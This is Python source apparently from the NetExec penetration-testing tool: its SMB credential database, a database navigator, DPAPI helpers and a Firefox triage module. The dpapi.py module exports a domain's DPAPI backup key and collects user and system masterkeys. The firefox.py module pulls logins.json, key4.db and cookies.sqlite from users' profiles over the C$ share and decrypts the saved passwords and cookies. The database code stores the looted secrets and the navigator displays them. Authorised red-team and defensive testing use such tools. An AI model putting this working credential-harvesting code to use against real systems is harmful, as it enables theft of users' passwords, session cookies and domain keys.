self.get_hosts(filter_term="dc", domain=domain) def is_share_valid(self, share_id): """Check if this share ID is valid.""" q = select(self.SharesTable).filter(self.SharesTable.c.id == share_id) results = self.db_execute(q).all() nxc_logger.debug(f"is_share_valid(shareID={share_id}) => {len(results) > 0}") return len(results) > 0 def add_share(self, host_id, user_id, name, remark, read, write): share_data = { "hostid": host_id, "userid": user_id, "name": name, "remark": remark, "read": read, "write": write, } self.db_execute( Insert(self.SharesTable).on_conflict_do_nothing(), # .returning(self.SharesTable.c.id), share_data, ) # .scalar_one() def get_shares(self, filter_term=None): if self.is_share_valid(filter_term): q = select(self.SharesTable).filter(self.SharesTable.c.id == filter_term) elif filter_term: like_term = func.lower(f"%{filter_term}%") q = select(self.SharesTable).filter(self.SharesTable.c.name.like(like_term)) else: q = select(self.SharesTable) return self.db_execute(q).all() def get_shares_by_access(self, permissions, share_id=None): permissions = permissions.lower() q = select(self.SharesTable) if share_id: q = q.filter(self.SharesTable.c.id == share_id) if "r" in permissions: q = q.filter(self.SharesTable.c.read == 1) if "w" in permissions: q = q.filter(self.SharesTable.c.write == 1) return self.db_execute(q).all() def get_users_with_share_access(self, host_id, share_name, permissions): permissions = permissions.lower() q = select(self.SharesTable.c.userid).filter(self.SharesTable.c.name == share_name, self.SharesTable.c.hostid == host_id) if "r" in permissions: q = q.filter(self.SharesTable.c.read == 1) if "w" in permissions: q = q.filter(self.SharesTable.c.write == 1) return self.db_execute(q).all() def add_domain_backupkey(self, domain: str, pvk: bytes): """ Add domain backupkey :domain is the domain fqdn :pvk is the domain backupkey """ q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain)) results = self.db_execute(q).all() if not len(results): pvk_encoded = base64.b64encode(pvk) backup_key = {"domain": domain, "pvk": pvk_encoded} try: # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id) self.db_execute(q, [backup_key]) # .scalar() nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})") except Exception as e: nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}") def get_domain_backupkey(self, domain: str | None = None): """ Get domain backupkey :domain is the domain fqdn """ q = select(self.DpapiBackupkeyTable) if domain is not None: q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain)) results = self.db_execute(q).all() nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}") if len(results) > 0: results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results] return results def is_dpapi_secret_valid(self, dpapi_secret_id): """ Check if this group ID is valid. :dpapi_secret_id is a primary id """ q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id) results = self.db_execute(q).first() valid = results is not None nxc_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}") return valid def add_dpapi_secrets( self, host: str, dpapi_type: str, windows_user: str, username: str, password: str, url: str = "", ): """Add dpapi secrets to nxcdb""" secret = { "host": host, "dpapi_type": dpapi_type, "windows_user": windows_user, "username": username, "password": password, "url": url, } q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id) self.db_execute(q, [secret]) # .scalar() nxc_logger.debug( f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})") def get_dpapi_secrets( self, filter_term=None, host: str | None = None, dpapi_type: str | None = None, windows_user: str | None = None, username: str | None = None, url: str | None = None, ): """Get dpapi secrets from nxcdb""" q = select(self.DpapiSecretsTable) if self.is_dpapi_secret_valid(filter_term): q = q.filter(self.DpapiSecretsTable.c.id == filter_term) results = self.db_execute(q).first() # all() returns a list, so we keep the return format the same so consumers don't have to guess return [results] elif host: q = q.filter(self.DpapiSecretsTable.c.host == host) results = self.db_execute(q).first() # all() returns a list, so we keep the return format the same so consumers don't have to guess return [results] elif dpapi_type: q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type)) elif windows_user: like_term = func.lower(f"%{windows_user}%") q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term)) elif username: like_term = func.lower(f"%{username}%") q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term)) elif url: q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url)) results = self.db_execute(q).all() nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}") return results def add_loggedin_relation(self, user_id, host_id): relation_query = select(self.LoggedinRelationsTable).filter( self.LoggedinRelationsTable.c.userid == user_id, self.LoggedinRelationsTable.c.hostid == host_id, ) results = self.db_execute(relation_query).all() # only add one if one doesn't already exist if not results: relation = {"userid": user_id, "hostid": host_id} try: nxc_logger.debug(f"Inserting loggedin_relations: {relation}") # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) self.db_execute(q, [relation]) # .scalar() inserted_id_results = self.get_loggedin_relations(user_id, host_id) nxc_logger.debug(f"Checking if relation was added: {inserted_id_results}") return inserted_id_results[0].id except Exception as e: nxc_logger.debug(f"Error inserting LoggedinRelation: {e}") def get_loggedin_relations(self, user_id=None, host_id=None): q = select(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) if user_id: q = q.filter(self.LoggedinRelationsTable.c.userid == user_id) if host_id: q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) return self.db_execute(q).all() def remove_loggedin_relations(self, user_id=None, host_id=None): q = delete(self.LoggedinRelationsTable) if user_id: q = q.filter(self.LoggedinRelationsTable.c.userid == user_id) elif host_id: q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) self.db_execute(q) def get_checks(self): q = select(self.ConfChecksTable) return self.db_execute(q).all() def get_check_results(self): q = select(self.ConfChecksResultsTable) return self.db_execute(q).all() def insert_data(self, table, select_results=None, **new_row): """ Insert a new row in the given table. Basically it's just a more generic version of add_host """ if select_results is None: select_results = [] results = [] updated_ids = [] # Create new row if not select_results: results = [new_row] # Update existing row data else: for row in select_results: row_data = row._asdict() for column, value in new_row.items(): row_data[column] = value # Only add data to be updated if it has changed if row_data not in results: results.append(row_data) updated_ids.append(row_data["id"]) nxc_logger.debug(f"Update data: {results}") # TODO: find a way to abstract this away to a single Upsert call q = Insert(table) # .returning(table.c.id) update_column = {col.name: col for col in q.excluded if col.name not in "id"} q = q.on_conflict_do_update(index_elements=table.primary_key, set_=update_column) self.db_execute(q, results) # .scalar() # we only return updated IDs for now - when RETURNING clause is allowed we can return inserted return updated_ids def add_check(self, name, description): """Check if this check item has already been added to the database, if not, add it in.""" q = select(self.ConfChecksTable).filter(self.ConfChecksTable.c.name == name) select_results = self.db_execute(q).all() context = locals() new_row = {column: context[column] for column in ("name", "description")} updated_ids = self.insert_data(self.ConfChecksTable, select_results, **new_row) if updated_ids: nxc_logger.debug(f"add_check() - Checks IDs Updated: {updated_ids}") return updated_ids def add_check_result(self, host_id, check_id, secure, reasons): """Check if this check result has already been added to the database, if not, add it in.""" q = select(self.ConfChecksResultsTable).filter(self.ConfChecksResultsTable.c.host_id == host_id, self.ConfChecksResultsTable.c.check_id == check_id) select_results = self.db_execute(q).all() context = locals() new_row = {column: context[column] for column in ("host_id", "check_id", "secure", "reasons")} updated_ids = self.insert_data(self.ConfChecksResultsTable, select_results, **new_row) if updated_ids: nxc_logger.debug(f"add_check_result() - Check Results IDs Updated: {updated_ids}") return updated_ids NetExec-1.5.1/nxc/protocols/smb/db_navigator.py000066400000000000000000000636371514706431700215060ustar00rootroot00000000000000from nxc.helpers.misc import validate_ntlm from nxc.nxcdb import DatabaseNavigator, print_table, print_help from termcolor import colored import functools help_header = functools.partial(colored, color="cyan", attrs=["bold"]) help_kw = functools.partial(colored, color="green", attrs=["bold"]) class navigator(DatabaseNavigator): def display_creds(self, creds): data = [["CredID", "Admin On", "CredType", "Domain", "UserName", "Password"]] for cred in creds: cred_id = cred[0] domain = cred[1] username = cred[2] password = cred[3] credtype = cred[4] links = self.db.get_admin_relations(user_id=cred_id) data.append( [ cred_id, str(len(links)) + " Host(s)", credtype, domain, username, password, ] ) print_table(data, title="Credentials") def display_groups(self, groups): data = [ [ "GroupID", "Domain", "Name", "RID", "Enumerated Members", "AD Members", "Last Query Time", ] ] for group in groups: group_id = group[0] domain = group[1] name = group[2] rid = group[3] members = len(self.db.get_group_relations(group_id=group_id)) ad_members = group[4] last_query_time = group[5] data.append([group_id, domain, name, rid, members, ad_members, last_query_time]) print_table(data, title="Groups") # pull/545 def display_hosts(self, hosts): data = [ [ "HostID", "Admins", "IP", "Hostname", "Domain", "OS", "SMBv1", "Signing", "Spooler", "Zerologon", "PetitPotam", ] ] for host in hosts: host_id = host[0] ip = host[1] hostname = host[2] domain = host[3] try: os = host[4].decode() except Exception: os = host[4] try: smbv1 = host[6] signing = host[7] except IndexError: smbv1 = "" signing = "" try: spooler = host[8] zerologon = host[9] petitpotam = host[10] except IndexError: spooler = "" zerologon = "" petitpotam = "" links = self.db.get_admin_relations(host_id=host_id) data.append( [ host_id, str(len(links)) + " Cred(s)", ip, hostname, domain, os, smbv1, signing, spooler, zerologon, petitpotam, ] ) print_table(data, title="Hosts") def display_shares(self, shares): data = [["ShareID", "host", "Name", "Remark", "Read Access", "Write Access"]] for share in shares: share_id = share[0] host_id = share[1] name = share[3] remark = share[4] users_r_access = self.db.get_users_with_share_access(host_id=host_id, share_name=name, permissions="r") users_w_access = self.db.get_users_with_share_access(host_id=host_id, share_name=name, permissions="w") data.append( [ share_id, host_id, name, remark, f"{len(users_r_access)} User(s)", f"{len(users_w_access)} Users", ] ) print_table(data) def do_shares(self, line): filter_term = line.strip() if filter_term == "": shares = self.db.get_shares() self.display_shares(shares) elif filter_term in ["r", "w", "rw"]: shares = self.db.get_shares_by_access(line) self.display_shares(shares) else: shares = self.db.get_shares(filter_term=filter_term) if len(shares) > 1: self.display_shares(shares) elif len(shares) == 1: share = shares[0] share_id = share[0] host_id = share[1] name = share[3] remark = share[4] users_r_access = self.db.get_users_with_share_access(host_id=host_id, share_name=name, permissions="r") users_w_access = self.db.get_users_with_share_access(host_id=host_id, share_name=name, permissions="w") data = [["ShareID", "Name", "Remark"], [share_id, name, remark]] print_table(data, title="Share") host = self.db.get_hosts(filter_term=host_id)[0] data = [ ["HostID", "IP", "Hostname", "Domain", "OS", "DC"], [host[0], host[1], host[2], host[3], host[4], host[5]], ] print_table(data, title="Share Location") if users_r_access: data = [["CredID", "CredType", "Domain", "UserName", "Password"]] for user in users_r_access: userid = user[0] creds = self.db.get_credentials(filter_term=userid) for cred in creds: data.append([cred[0], cred[4], cred[1], cred[2], cred[3]]) print_table(data, title="Users(s) with Read Access") if users_w_access: data = [["CredID", "CredType", "Domain", "UserName", "Password"]] for user in users_w_access: userid = user[0] creds = self.db.get_credentials(filter_term=userid) for cred in creds: data.append([cred[0], cred[4], cred[1], cred[2], cred[3]]) print_table(data, title="Users(s) with Write Access") def help_shares(self): help_string = """ shares [filter_term] By default prints all shares Can use a filter term to filter shares """ print_help(help_string) def do_groups(self, line): filter_term = line.strip() if filter_term == "": groups = self.db.get_groups() self.display_groups(groups) else: groups = self.db.get_groups(filter_term=filter_term) if len(groups) > 1: self.display_groups(groups) elif len(groups) == 1: data = [ [ "GroupID", "Domain", "Name", "RID", "Enumerated Members", "AD Members", "Last Query Time", ] ] data += [[group[0], group[1], group[2], group[3], len(self.db.get_group_relations(group_id=group[0])), group[4], group[5]] for group in groups] print_table(data, title="Group") data = [ [ "CredID", "CredType", "Pillaged From HostID", "Domain", "UserName", "Password", ] ] for group in groups: members = self.db.get_group_relations(group_id=group[0]) for member in members: _, userid, _ = member creds = self.db.get_credentials(filter_term=userid) for cred in creds: data.append([cred[0], cred[4], cred[5], cred[1], cred[2], cred[3]]) print_table(data, title="Member(s)") def help_groups(self): help_string = """ groups [filter_term] By default prints all groups Can use a filter term to filter groups """ print_help(help_string) def do_hosts(self, line): filter_term = line.strip() if filter_term == "": hosts = self.db.get_hosts() self.display_hosts(hosts) else: hosts = self.db.get_hosts(filter_term=filter_term) if len(hosts) > 1: self.display_hosts(hosts) elif len(hosts) == 1: data = [ [ "HostID", "IP", "Hostname", "Domain", "OS", "DC", "SMBv1", "Signing", "Spooler", "Zerologon", "PetitPotam", ] ] host_id_list = [] for host in hosts: host_id = host[0] host_id_list.append(host_id) ip = host[1] hostname = host[2] domain = host[3] try: os = host[4].decode() except Exception: os = host[4] try: dc = host[5] except IndexError: dc = "" try: smbv1 = host[6] signing = host[7] except IndexError: smbv1 = "" signing = "" try: spooler = host[8] zerologon = host[9] petitpotam = host[10] except IndexError: spooler = "" zerologon = "" petitpotam = "" data.append( [ host_id, ip, hostname, domain, os, dc, smbv1, signing, spooler, zerologon, petitpotam, ] ) print_table(data, title="Host") data = [["CredID", "CredType", "Domain", "UserName", "Password"]] for host_id in host_id_list: links = self.db.get_admin_relations(host_id=host_id) for link in links: link_id, cred_id, host_id = link creds = self.db.get_credentials(filter_term=cred_id) for cred in creds: data.append([cred[0], cred[4], cred[1], cred[2], cred[3]]) print_table(data, title="Credential(s) with Admin Access") def do_wcc(self, line): valid_columns = {"ip": "IP", "hostname": "Hostname", "check": "Check", "description": "Description", "status": "Status", "reasons": "Reasons"} line = line.strip() if line.lower() == "full": columns_to_display = list(valid_columns.values()) else: requested_columns = line.split(" ") columns_to_display = [valid_columns[column.lower()] for column in requested_columns if column.lower() in valid_columns] results = self.db.get_check_results() self.display_wcc_results(results, columns_to_display) def display_wcc_results(self, results, columns_to_display=None): data = [["IP", "Hostname", "Check", "Status"]] if columns_to_display: data = [columns_to_display] checks = self.db.get_checks() checks_dict = {} for check in checks: check = check._asdict() checks_dict[check["id"]] = check for _result_id, host_id, check_id, secure, reasons in results: status = "OK" if secure else "KO" host = self.db.get_hosts(host_id)[0]._asdict() check = checks_dict[check_id] row = [] for column in data[0]: if column == "IP": row.append(host["ip"]) if column == "Hostname": row.append(host["hostname"]) if column == "Check": row.append(check["name"]) if column == "Description": row.append(check["description"]) if column == "Status": row.append(status) if column == "Reasons": row.append(reasons) data.append(row) print_table(data, title="Windows Configuration Checks") def help_wcc(self): help_string = f""" {help_header('USAGE')} {help_header('wcc')} [{help_kw('full')}] {help_header('wcc')} <{help_kw('ip')}|{help_kw('hostname')}|{help_kw('check')}|{help_kw('description')}|{help_kw('status')}|{help_kw('reasons')}>... {help_header('DESCRIPTION')} Display Windows Configuration Checks results {help_header('wcc')} [{help_kw('full')}] If full is provided, display all columns. Otherwise, display IP, Hostname, Check and Status {help_header('wcc')} <{help_kw('ip')}|{help_kw('hostname')}|{help_kw('check')}|{help_kw('description')}|{help_kw('status')}|{help_kw('reasons')}>... Display only the requested columns (case-insensitive) """ print_help(help_string) def help_hosts(self): help_string = """ hosts [dc|spooler|zerologon|petitpotam|filter_term] By default prints all hosts Table format: | 'HostID', 'IP', 'Hostname', 'Domain', 'OS', 'DC', 'SMBv1', 'Signing', 'Spooler', 'Zerologon', 'PetitPotam' | Subcommands: dc - list all domain controllers spooler - list all hosts with Spooler service enabled zerologon - list all hosts vulnerable to zerologon petitpotam - list all hosts vulnerable to petitpotam filter_term - filters hosts with filter_term If a single host is returned (e.g. `hosts 15`, it prints the following tables: Host | 'HostID', 'IP', 'Hostname', 'Domain', 'OS', 'DC', 'SMBv1', 'Signing', 'Spooler', 'Zerologon', 'PetitPotam' | Credential(s) with Admin Access | 'CredID', 'CredType', 'Domain', 'UserName', 'Password' | Otherwise, it prints the default host table from a `like` query on the `ip` and `hostname` columns """ print_help(help_string) def do_dpapi(self, line): filter_term = line.strip() if filter_term == "": secrets = self.db.get_dpapi_secrets() secrets.insert( 0, [ "ID", "Host", "DPAPI Type", "Windows User", "Username", "Password", "URL", ], ) print_table(secrets, title="DPAPI Secrets") elif filter_term.split()[0].lower() == "browser": secrets = self.db.get_dpapi_secrets(dpapi_type="MSEDGE") secrets += self.db.get_dpapi_secrets(dpapi_type="GOOGLE CHROME") secrets += self.db.get_dpapi_secrets(dpapi_type="IEX") secrets += self.db.get_dpapi_secrets(dpapi_type="FIREFOX") if len(secrets) > 0: secrets.insert( 0, [ "ID", "Host", "DPAPI Type", "Windows User", "Username", "Password", "URL", ], ) print_table(secrets, title="DPAPI Secrets") elif filter_term.split()[0].lower() == "chrome": secrets = self.db.get_dpapi_secrets(dpapi_type="GOOGLE CHROME") if len(secrets) > 0: secrets.insert( 0, [ "ID", "Host", "DPAPI Type", "Windows User", "Username", "Password", "URL", ], ) print_table(secrets, title="DPAPI Secrets") elif filter_term.split()[0].lower() == "msedge": secrets = self.db.get_dpapi_secrets(dpapi_type="MSEDGE") if len(secrets) > 0: secrets.insert( 0, [ "ID", "Host", "DPAPI Type", "Windows User", "Username", "Password", "URL", ], ) print_table(secrets, title="DPAPI Secrets") elif filter_term.split()[0].lower() == "credentials": secrets = self.db.get_dpapi_secrets(dpapi_type="CREDENTIAL") if len(secrets) > 0: secrets.insert( 0, [ "ID", "Host", "DPAPI Type", "Windows User", "Username", "Password", "URL", ], ) print_table(secrets, title="DPAPI Secrets") elif filter_term.split()[0].lower() == "iex": secrets = self.db.get_dpapi_secrets(dpapi_type="IEX") if len(secrets) > 0: secrets.insert( 0, [ "ID", "Host", "DPAPI Type", "Windows User", "Username", "Password", "URL", ], ) print_table(secrets, title="DPAPI Secrets") elif filter_term.split()[0].lower() == "firefox": secrets = self.db.get_dpapi_secrets(dpapi_type="FIREFOX") if len(secrets) > 0: secrets.insert( 0, [ "ID", "Host", "DPAPI Type", "Windows User", "Username", "Password", "URL", ], ) print_table(secrets, title="DPAPI Secrets") else: secrets = self.db.get_dpapi_secrets(filter_term=filter_term) if len(secrets) > 0: secrets.insert( 0, [ "ID", "Host", "DPAPI Type", "Windows User", "Username", "Password", "URL", ], ) print_table(secrets, title="DPAPI Secrets") def help_dpapi(self): help_string = """ dpapi [browser|chrome|msedge|credentials|iex|firefox|filter_term] By default prints all dpapi dumped secrets Table format: | 'ID', 'Host', 'DPAPI Type', 'Windows User', 'Username', 'Password', 'URL' | Subcommands: browser - list all secrets dumped from browser chrome - list all secrets dumped from chrome msedge - list all secrets dumped from microsoft edge credentials - list all secrets dumped from credential manager (user and system) iex - list all secrets dumped from Internet Explorer firefox - list all secrets dumped from Firefox filter_term - filters dpapi secrets with filter_term """ print_help(help_string) def do_creds(self, line): filter_term = line.strip() if filter_term == "": creds = self.db.get_credentials() self.display_creds(creds) elif filter_term.split()[0].lower() == "add": # add format: "domain username password args = filter_term.split()[1:] if len(args) == 3: domain, username, password = args if validate_ntlm(password): self.db.add_credential("hash", domain, username, password) else: self.db.add_credential("plaintext", domain, username, password) else: print("[!] Format is 'add domain username password") return elif filter_term.split()[0].lower() == "remove": args = filter_term.split()[1:] if len(args) != 1: print("[!] Format is 'remove '") return else: self.db.remove_credentials(args) self.db.remove_admin_relation(user_ids=args) elif filter_term.split()[0].lower() == "plaintext": creds = self.db.get_credentials(cred_type="plaintext") self.display_creds(creds) elif filter_term.split()[0].lower() == "hash": creds = self.db.get_credentials(cred_type="hash") self.display_creds(creds) else: creds = self.db.get_credentials(filter_term=filter_term) if len(creds) != 1: self.display_creds(creds) elif len(creds) == 1: data = [ [ "CredID", "CredType", "Pillaged From HostID", "Domain", "UserName", "Password", ] ] cred_id_list = [] for cred in creds: cred_id_list.append(cred[0]) data.append([cred[0], cred[4], cred[5], cred[1], cred[2], cred[3]]) print_table(data, title="Credential(s)") data = [["GroupID", "Domain", "Name"]] for cred_id in cred_id_list: links = self.db.get_group_relations(user_id=cred_id) for link in links: link_id, user_id, group_id = link groups = self.db.get_groups(group_id) for group in groups: group_id = group[0] domain = group[1] name = group[2] data.append([group_id, domain, name]) print_table(data, title="Member of Group(s)") data = [["HostID", "IP", "Hostname", "Domain", "OS"]] for cred_id in cred_id_list: links = self.db.get_admin_relations(user_id=cred_id) for link in links: link_id, cred_id, host_id = link hosts = self.db.get_hosts(host_id) for host in hosts: data.append([host[0], host[1], host[2], host[3], host[4]]) print_table(data, title="Admin Access to Host(s)") def help_creds(self): help_string = """ creds [add|remove|plaintext|hash|filter_term] By default prints all creds Table format: | 'CredID', 'Admin On', 'CredType', 'Domain', 'UserName', 'Password' | Subcommands: add - format: "add domain username password " remove - format: "remove " plaintext - prints plaintext creds hash - prints hashed creds filter_term - filters creds with filter_term If a single credential is returned (e.g. `creds 15`, it prints the following tables: Credential(s) | 'CredID', 'CredType', 'Pillaged From HostID', 'Domain', 'UserName', 'Password' | Member of Group(s) | 'GroupID', 'Domain', 'Name' | Admin Access to Host(s) | 'HostID', 'IP', 'Hostname', 'Domain', 'OS' Otherwise, it prints the default credential table from a `like` query on the `username` column """ print_help(help_string) def do_clear_database(self, line): if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": self.db.clear_database() def help_clear_database(self): help_string = """ clear_database THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE YOU CANNOT UNDO THIS COMMAND """ print_help(help_string) def complete_hosts(self, text, line): """Tab-complete 'hosts' commands.""" commands = ("add", "remove", "dc") mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] def complete_creds(self, text, line): """Tab-complete 'creds' commands.""" commands = ("add", "remove", "hash", "plaintext") mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] NetExec-1.5.1/nxc/protocols/smb/dpapi.py000066400000000000000000000076251514706431700201370ustar00rootroot00000000000000from dploot.lib.target import Target from dploot.lib.smb import DPLootSMBConnection from dploot.triage.backupkey import BackupkeyTriage from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file def get_domain_backup_key(context): pvkbytes = None try: results = context.db.get_domain_backupkey(context.domain) except Exception: context.logger.fail( "Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \ 'workspace create dpapi' then re-run the dpapi option" ) return False if len(results) > 0: context.logger.success("Loading domain backupkey from nxcdb...") pvkbytes = results[0][2] elif context.no_da is None and context.args.local_auth is False: try: dc_target = Target.create( domain=context.domain, username=context.username, password=context.password, target=context.domain, # querying DNS server for domain will return DC lmhash=context.lmhash, nthash=context.nthash, do_kerberos=context.kerberos, aesKey=context.aesKey, no_pass=True, use_kcache=context.use_kcache, ) dc_conn = DPLootSMBConnection(dc_target) dc_conn.connect() # Connect to DC if dc_conn.is_admin(): context.logger.success("User is Domain Administrator, exporting domain backupkey...") backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn) backupkey = backupkey_triage.triage_backupkey() pvkbytes = backupkey.backupkey_v2 context.db.add_domain_backupkey(context.domain, pvkbytes) else: context.no_da = False except Exception as e: context.logger.fail(f"Could not get domain backupkey: {e}") return pvkbytes def collect_masterkeys_from_target(context, target, dploot_connection, user=True, system=True): masterkeys = [] plaintexts = {} nthashes = {} if context.args.mkfile is not None: try: masterkeys += parse_masterkey_file(context.args.mkfile) except Exception as e: context.logger.fail(str(e)) if user: plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")} nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")} if context.password != "": plaintexts[context.username] = context.password if context.nthash != "": nthashes[context.username] = context.nthash # Collect User and Machine masterkeys try: context.logger.display("Collecting DPAPI masterkeys, grab a coffee and be patient...") masterkeys_triage = MasterkeysTriage( target=target, conn=dploot_connection, pvkbytes=context.pvkbytes, passwords=plaintexts, nthashes=nthashes, dpapiSystem={}, ) context.logger.debug(f"Masterkeys Triage: {masterkeys_triage}") if user: context.logger.debug("Collecting user masterkeys") masterkeys += masterkeys_triage.triage_masterkeys() if system: context.logger.debug("Collecting machine masterkeys") masterkeys += masterkeys_triage.triage_system_masterkeys() except Exception as e: context.logger.debug(f"Could not get masterkeys: {e}") return masterkeys def upgrade_to_dploot_connection(target, connection=None): conn = None try: conn = DPLootSMBConnection(target) if connection is not None: conn.smb_session = connection conn.connect() except Exception: return None return conn NetExec-1.5.1/nxc/protocols/smb/firefox.py000066400000000000000000000341401514706431700204740ustar00rootroot00000000000000from base64 import b64decode from binascii import unhexlify from hashlib import pbkdf2_hmac, sha1, sha256 import hmac import json import ntpath from os import remove import sqlite3 import tempfile from dataclasses import dataclass from typing import Any from Cryptodome.Cipher import AES, DES3 from pyasn1.codec.der import decoder from dploot.lib.smb import DPLootSMBConnection from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection CKA_ID = unhexlify("f8000000000000000000000000000001") # Constants for different encryption modes CBC_IV_LENGTH = 16 # AES-256-CBC uses 16-byte IV (Firefox 144+) DES_IV_LENGTH = 8 # 3DES-CBC uses 8-byte IV (legacy) @dataclass class FirefoxData: winuser: str url: str username: str password: str @dataclass class FirefoxCookie: winuser: str host: str path: str cookie_name: str cookie_value: str creation_utc: str expires_utc: str last_access_utc: str class FirefoxTriage: """ Firefox by @zblurx Inspired by firefox looting from DonPAPI https://github.com/login-securite/DonPAPI """ firefox_generic_path = "Users\\{}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" share = "C$" false_positive = ( ".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ) def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_callback: Any = None): self.target = target self.logger = logger self.conn = conn self.per_secret_callback = per_secret_callback def run(self, gather_cookies=False): if self.conn is None: upgrade_to_dploot_connection(target=self.target) firefox_data = [] firefox_cookies = [] # list users users = self.get_users() for user in users: try: directories = self.conn.remote_list_dir(share=self.share, path=self.firefox_generic_path.format(user)) except Exception as e: if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): continue self.logger.debug(e) if directories is None: continue for d in [d for d in directories if d.get_longname() not in self.false_positive and d.is_directory() > 0]: try: if gather_cookies: cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite") cookies_data = self.conn.readFile(self.share, cookies_path) if cookies_data is not None: firefox_cookies += self.parse_cookie_data(user, cookies_data) logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json" logins_data = self.conn.readFile(self.share, logins_path) if logins_data is None: continue # No logins.json file found logins = self.get_login_data(logins_data=logins_data) if len(logins) == 0: continue # No logins profile found key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db" key4_data = self.conn.readFile(self.share, key4_path) if key4_data is None: continue # Get all available master keys (Firefox 144+ may have multiple keys) keys = self.get_all_keys(key4_data=key4_data) if len(keys) == 0 and self.target.password != "": keys = self.get_all_keys( key4_data=key4_data, master_password=self.target.password.encode(), ) if len(keys) == 0: continue for username, pwd, host in logins: decoded_username = None password = None for key in keys: try: decrypted_username = self.decrypt(key=key, iv=username[1], ciphertext=username[2]) decoded_username = decrypted_username.decode("utf-8") decrypted_password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2]) password = decrypted_password.decode("utf-8") break # Success - stop trying other keys except (UnicodeDecodeError, Exception): continue if password is not None and decoded_username is not None: data = FirefoxData( winuser=user, url=host, username=decoded_username, password=password, ) if self.per_secret_callback is not None: self.per_secret_callback(data) firefox_data.append(data) except Exception as e: if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): continue self.logger.exception(e) return firefox_data def parse_cookie_data(self, windows_user, cookies_data): cookies = [] fh = tempfile.NamedTemporaryFile(delete=False) # noqa: SIM115 fh.write(cookies_data) fh.seek(0) db = sqlite3.connect(fh.name) cursor = db.cursor() cursor.execute("SELECT name, value, host, path, expiry, lastAccessed, creationTime FROM moz_cookies;") for name, value, host, path, expiry, lastAccessed, creationTime in cursor: cookie = FirefoxCookie( winuser=windows_user, host=host, path=path, cookie_name=name, cookie_value=value, creation_utc=creationTime, last_access_utc=lastAccessed, expires_utc=expiry, ) if self.per_secret_callback is not None: self.per_secret_callback(cookie) cookies.append(cookie) return cookies def get_login_data(self, logins_data): json_logins = json.loads(logins_data) if "logins" not in json_logins: return [] # No logins key in logins.json file return [ ( self.decode_login_data(row["encryptedUsername"]), self.decode_login_data(row["encryptedPassword"]), row["hostname"], ) for row in json_logins["logins"] ] def get_key(self, key4_data, master_password=b""): """Legacy method - retrieves first available key""" keys = self.get_all_keys(key4_data, master_password) return keys[0] if keys else None def get_all_keys(self, key4_data, master_password=b""): """Retrieve all available master keys from NSS database (Firefox 144+ may have multiple)""" # Instead of disabling "delete" and removing the file manually, # in the future (py3.12) we could use "delete_on_close=False" as a cleaner solution # Related issue: #134 fh = tempfile.NamedTemporaryFile(delete=False) # noqa: SIM115 fh.write(key4_data) fh.seek(0) db = sqlite3.connect(fh.name) cursor = db.cursor() try: cursor.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';") row = next(cursor) if not row: return [] global_salt, master_password, _ = self.is_master_password_correct(key_data=row, master_password=master_password) if not global_salt: return [] # Get ALL keys from nssPrivate table (Firefox 144+ may have multiple) keys = [] cursor.execute("SELECT a11,a102 FROM nssPrivate WHERE a11 IS NOT NULL;") for row in cursor: try: a11 = row[0] a102 = row[1] # noqa: F841 decoded_a11 = decoder.decode(a11) key = self.decrypt_3des(decoded_a11, master_password, global_salt) if key is not None and len(key) >= 24: keys.append(key) except Exception: continue return keys except Exception as e: self.logger.debug(f"Error extracting keys: {e}") return [] finally: db.close() fh.close() try: remove(fh.name) except Exception as e: self.logger.error(f"Error removing temporary file: {e}") def is_master_password_correct(self, key_data, master_password=b""): try: entry_salt = b"" global_salt = key_data[0] # Item1 item2 = key_data[1] 